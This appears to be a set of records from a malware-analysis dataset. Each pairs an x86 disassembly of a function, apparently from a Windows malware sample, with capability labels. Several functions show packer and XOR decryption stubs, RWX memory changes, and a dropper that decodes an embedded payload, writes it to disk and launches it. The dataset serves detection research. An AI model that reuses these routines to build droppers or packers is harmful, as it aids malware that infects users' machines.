joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005da8
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0xb0
and dword [ebp + 0x74], 0
cmp dword [0x100a2cc], 0xfffffffe
mov dword [ebp + 0x6c], 0xc
jne 0x1005e8f
and dword [0x100a2cc], 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x38], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
test eax, eax
je 0x1005e8f
cmp dword [ebp - 0x28], 1
jne 0x1005e8f
cmp dword [ebp - 0x34], 4
jne 0x1005e8f
cmp dword [ebp - 0x30], 0xa
jae 0x1005e8f
push 0x4a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x1005e8f
lea eax, [ebp + 0x70]
push eax
push 0x20019
push 0
push 0x1001498
push 0x80000001
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1005e8f
push edi
lea eax, [ebp + 0x6c]
push eax
lea eax, [ebp + 0x5c]
push eax
lea eax, [ebp + 0x68]
push eax
push 0
push 0x1001251
push dword [ebp + 0x70]
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
push dword [ebp + 0x70]
mov edi, eax
call dword [sym.imp.advapi32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x1005e8f
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp + 0x5c]
push eax
call fcn.01005ca2
test eax, eax
je 0x1005e8f
and dword [ebp + 0x74], 0x3ff
cmp dword [ebp + 0x74], 1
je 0x1005e85
cmp dword [ebp + 0x74], 0xd
jne 0x1005e8f
mov dword [0x100a2cc], 1
mov eax, dword [0x100a2cc]
add ebp, 0x78
leave
ret

Function at 0x1007115
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
shr eax, 2
test eax, eax
push edi
mov edi, dword [esp + 0x14]
jle 0x1007150
push ebx
movzx edx, byte [ecx]
xor ebx, ebx
inc ecx
mov bh, byte [ecx]
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x10
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x18
or edx, ebx
inc ecx
xor edi, edx
dec eax
jne 0x100712d
pop ebx
and esi, 3
xor eax, eax
dec esi
je 0x100716c
dec esi
je 0x1007165
dec esi
jne 0x1007171
movzx eax, byte [ecx]
shl eax, 0x10
inc ecx
xor edx, edx
mov dh, byte [ecx]
or eax, edx
inc ecx
movzx ecx, byte [ecx]
or eax, ecx
xor eax, edi
pop edi
pop esi
ret 0xc
Function at 0x40a060
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x81cd68]
jne 0x40a06a
repz ret
jmp fcn.0040c2dc

Function at 0x40b672
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x81cd68]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040584e
and dword [ebp - 0x14], 0
cmp dword [0x8202e0], 0
mov dword [ebp - 0x18], eax
jne 0x40b725
push 0x402aec
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b7cd
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402ae0
push ebx
call edi
test eax, eax
je 0x40b7cd
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402ad0
push ebx
mov dword [0x8202e0], eax
call edi
push eax
call esi
push 0x402abc
push ebx
mov dword [0x8202e4], eax
call edi
push eax
call esi
push 0x402aa0
push ebx
mov dword [0x8202e8], eax
call edi
push eax
call esi
mov dword [0x8202f0], eax
test eax, eax
je 0x40b725
push 0x402a88
push ebx
call edi
push eax
call esi
mov dword [0x8202ec], eax
mov eax, dword [0x8202ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b77e
cmp dword [0x8202f0], ecx
je 0x40b77e
push eax
call esi
push dword [0x8202f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b77e
test ebx, ebx
je 0x40b77e
call edi
test eax, eax
je 0x40b775
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b775
test byte [ebp - 8], 1
jne 0x40b77e
or dword [ebp + 0x10], 0x200000
jmp 0x40b7b1
mov eax, dword [0x8202e4]
cmp eax, dword [ebp - 0x18]
je 0x40b7b1
push eax
call esi
test eax, eax
je 0x40b7b1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b7b1
mov eax, dword [0x8202e8]
cmp eax, dword [ebp - 0x18]
je 0x40b7b1
push eax
call esi
test eax, eax
je 0x40b7b1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x8202e0]
call esi
test eax, eax
je 0x40b7cd
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b7cf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a060
leave
ret
Function at 0x804730
Capabilities:
Accept command line arguments
Delete directory
Get common file path
Write file on windows

Disassembly:
mov eax, 0x1820
call fcn.0040c520
cmp dword [0x266225c], 0x37
jne 0x8047ef
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x4032a8
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
lea eax, [esp + 0x824]
push eax
push 0x4032e0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea ecx, [esp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea edx, [esp + 0x1020]
push edx
push 0
push 0x403374
push 0x4033a4
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
push 0x4033c4
push 0x4033cc
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov eax, dword [0x2662260]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x8253ec]
mov byte [eax + esi], dl
add esp, 0x1820
ret

Function at 0x804820
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0x60
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx]
mov edx, dword [0x81cf44]
push ebx
push ebp
push esi
mov esi, dword [ecx + 4]
mov ecx, dword [0x81cf40]
mov dword [esp + 0x1c], ecx
mov ecx, dword [0x81cf48]
mov dword [esp + 0x20], edx
mov edx, dword [0x81cf4c]
push edi
mov dword [esp + 0x14], eax
mov edi, 0xc6ef3720
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
mov ebp, 0x20
jmp 0x804874
mov eax, dword [esp + 0x14]
mov ecx, eax
shr ecx, 5
add ecx, dword [esp + 0x18]
mov edx, eax
shl edx, 4
add edx, dword [esp + 0x1c]
add eax, edi
xor ecx, edx
xor ecx, eax
sub esi, ecx
mov ecx, esi
shl ecx, 4
mov dword [0x265820c], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x20]
add dword [esp + 0x10], eax
cmp dword [0x266225c], 0x1be
lea ebx, [edi + esi]
jne 0x8048c9
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov eax, esi
shr eax, 5
add eax, dword [esp + 0x24]
mov dword [0x2658210], 0xff6b3619
xor eax, ebx
xor dword [esp + 0x10], eax
mov dword [0x2658214], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
add edi, 0x61c88647
dec ebp
jne 0x804870
cmp dword [0x266225c], 0x8d4
jne 0x80492f
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0x60
ret 4
mov eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], ecx
pop ebx
add esp, 0x60
ret 4
Function at 0x402990
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405130], eax
mov ecx, ebp
add ecx, 8
mov dword [0x40507c], ecx
mov dword [0x4050b0], 0x30
mov dword [0x4050b4], 2
mov dword [0x4050bc], 0
mov dword [0x4050c0], 0
mov dword [0x4050b8], 0x402f20
jmp 0x4029e3
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4050c4], eax
mov dword [0x4050d0], 0xf
mov dword [0x4050d8], 0x4040ad
mov dword [0x405074], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [0x4050c8], eax
mov dword [0x4050dc], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [0x4050cc], eax
push 0x4050b0
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push dword [0x405074]
push 0
push 0
push 0x24e
push 0x281
push 0xfffff448
push 0xffffec78
push 0x40000
push 0x4040e6
push 0x4040ad
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x405128], eax
xor eax, eax
jmp 0x402a82
push 5
push dword [0x405128]
call dword [sym.imp.USER32.dll_ShowWindow]
test eax, eax
jne 0x402ab6
push 0
push 0x24f
push 0x282
push 0xfffff447
push 0xffffec77
push dword [0x405128]
call dword [sym.imp.USER32.dll_MoveWindow]
push dword [0x405128]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
push 0x4050e0
call dword [sym.imp.USER32.dll_GetMessageA]
or eax, eax
je 0x402aef
push 0x4050e0
call dword [sym.imp.USER32.dll_TranslateMessage]
push 0x4050e0
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x402ac2
mov eax, dword [0x4050e8]
jmp 0x402afc
call 0x40213f
ret

Function at 0x40152a
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x401586
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.0040152a
test eax, eax
jne 0x401620
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x4020b6
sub eax, 0x401654
mov dword [esp], 0x401654
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x401620
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401420
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004014a3
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], 0x40300c
call fcn.00401db9
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x2d9e1705
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x380c0572
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401026
Capabilities:
Create process on windows
Delete file
Read file on windows
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov edx, section..text
push edi
push esi
push ebx
sub esp, 0x574
lea ecx, [esp + 0x64]
cmp edx, entry0
jae 0x40104c
movzx eax, byte [edx]
inc edx
xor al, 0xd9
mov byte [ecx], al
inc ecx
jmp 0x401039
mov byte [ecx], 0
lea esi, [esp + 0x64]
push esi
push 1
push 0
call 0x401220
push 0x104
lea ebx, [esp + 0x468]
push ebx
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
push 0
push 0xffffffffffffff9c
push eax
call sub.KERNEL32.dll_SetFilePointer
push 0
lea ebp, [esp + 4]
push ebp
push 0x64
push esi
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea edx, [esp + 0x65]
lea ecx, [esp + 0xc7]
cmp edx, ecx
jae 0x4010d4
movzx eax, byte [esp + 0x64]
xor byte [edx], al
inc edx
jmp 0x4010c6
lea edx, [esp + 0x14]
lea eax, [esp + 0x58]
cmp edx, eax
jae 0x4010e6
mov byte [edx], 0
inc edx
jmp 0x4010dc
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x8d]
push eax
call sub.KERNEL32.dll_CreateProcessA
test eax, eax
jne 0x401205
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x47c]
push eax
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 2
mov eax, 0xffffff9c
push 0
sub eax, dword [esp + 0x6d]
push eax
push ebx
call sub.KERNEL32.dll_SetFilePointer
push 0
push ebp
push dword [esp + 0x6d]
push dword [esp + 0x71]
push 0
call sub.KERNEL32.dll_GetProcessHeap
push eax
call sub.KERNEL32.dll_HeapAlloc
push eax
mov esi, eax
push ebx
call sub.KERNEL32.dll_ReadFile
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, esi
mov edx, esi
add eax, dword [esp + 0x65]
cmp esi, eax
jae 0x40119b
movzx eax, byte [esp + 0x64]
xor byte [edx], al
mov eax, esi
inc edx
add eax, dword [esp + 0x65]
cmp edx, eax
jmp 0x401187
push pe_nt_image_headers32
lea edi, [esp + 0x6d]
push edi
call sub.KERNEL32.dll_SetFileAttributesA
push edi
call sub.KERNEL32.dll_DeleteFileA
push 0
push pe_nt_image_headers32
push 2
push 0
push 0
push 0x40000000
push edi
call sub.KERNEL32.dll_CreateFileA
test eax, eax
mov ebx, eax
je 0x401205
cmp eax, 0xffffffff
je 0x401205
push 0
push ebp
push dword [esp + 0x6d]
push esi
push eax
call sub.KERNEL32.dll_WriteFile
push ebx
call sub.KERNEL32.dll_CloseHandle
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_CreateProcessA
push 0
call sub.KERNEL32.dll_ExitProcess
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.KERNEL32.dll_CreateMutexA]

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x440130
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.tJrdyPER
lea edi, [esi - 0x13000]
push edi
or ebp, 0xffffffff
jmp 0x440152
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x440159
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x440148
mov eax, 1
add ebx, ebx
jne 0x44016b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x440160
jne 0x44017c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x440160
xor ecx, ecx
sub eax, 3
jb 0x440190
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x440202
mov ebp, eax
add ebx, ebx
jne 0x44019b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4401a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4401cc
inc ecx
add ebx, ebx
jne 0x4401b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4401ad
jne 0x4401c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4401ad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4401ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4401dd
jmp 0x44014e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4401ec
add edi, ecx
jmp 0x44014e
pop esi
lea edi, [esi + 0x3e000]
mov eax, dword [edi]
or eax, eax
je 0x440254
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4020c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x402b4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x440209
mov ecx, edi
jns 0x440238
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x402bc]
or eax, eax
je 0x44024e
mov dword [ebx], eax
add ebx, 4
jmp 0x440226
call dword [esi + 0x402b8]
mov ebp, dword [esi + 0x402c0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x440288
sub esp, 0xffffff80
jmp section.NDltoTPW

Function at 0x438ca7
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x438a14
inc edx
inc edx
add edx, 0xffdc9584
call fcn.00438cdf
mov edi, 0xea75db0f
add edi, edx
sub edx, 0x8728e54a
xor dword [eax], ebx
and edi, edx
dec edi
add edi, edx
inc eax
and edx, edx
cmp eax, esi
jne fcn.00438ca7
sub edx, edx
mov edi, edi
ret
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x401215
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
mov esi, dword [sym.imp.USER32.dll_LoadIconA]
push edi
push 0x7f00
xor edi, edi
push edi
mov dword [ebp - 0x24], str.construct
mov dword [ebp - 0x44], 0x401000
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x4c], 0x30
call esi
push 0x7f00
push edi
mov dword [ebp - 0x34], eax
call esi
push 0x7f00
push edi
mov dword [ebp - 0x20], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
call esi
push edi
mov dword [0x4030f0], eax
mov dword [ebp - 0x38], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
test ax, ax
je 0x401327
push 1
push dword [0x4030f0]
call dword [sym.imp.USER32.dll_LoadBitmapA]
push edi
push edi
call esi
push eax
push edi
push edi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.displayed
push str.construct
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push eax
mov dword [0x4030f8], eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push edi
push edi
push edi
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
je 0x401327
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call edi
lea ecx, [ebp - 0x1c]
push ecx
call ebx
push 0
push 0
push 0
lea edx, [ebp - 0x1c]
push edx
call esi
test eax, eax
jne 0x40130a
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402eb0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41a1ec]
jne 0x402eba
repz ret
jmp fcn.00405817

Function at 0x40c64c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a1ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406daa
and dword [ebp - 0x14], 0
cmp dword [0x41c2e8], 0
mov dword [ebp - 0x18], eax
jne 0x40c6ff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c7a7
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40c7a7
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41c2e8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41c2ec], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41c2f0], eax
call edi
push eax
call esi
mov dword [0x41c2f8], eax
test eax, eax
je 0x40c6ff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41c2f4], eax
mov eax, dword [0x41c2f4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x40c758
cmp dword [0x41c2f8], ecx
je 0x40c758
push eax
call esi
push dword [0x41c2f8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c758
test ebx, ebx
je 0x40c758
call edi
test eax, eax
je 0x40c74f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c74f
test byte [ebp - 8], 1
jne 0x40c758
or dword [ebp + 0x10], 0x200000
jmp 0x40c78b
mov eax, dword [0x41c2ec]
cmp eax, dword [ebp - 0x18]
je 0x40c78b
push eax
call esi
test eax, eax
je 0x40c78b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c78b
mov eax, dword [0x41c2f0]
cmp eax, dword [ebp - 0x18]
je 0x40c78b
push eax
call esi
test eax, eax
je 0x40c78b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41c2e8]
call esi
test eax, eax
je 0x40c7a7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c7a9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402eb0
leave
ret

Function at 0x40d803
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
mov eax, dword [0x41a1ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
push edi
mov edi, dword [0x41c740]
cmp dword [ebp + 8], esi
jle 0x40d850
push 0
call dword [sym.imp.KERNEL32.DLL_SetLastError]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
call fcn.0040d7df
xor byte [edi + esi], al
lea eax, [ebp - 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryW]
inc esi
cmp esi, dword [ebp + 8]
jl 0x40d825
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00402eb0
leave
ret 4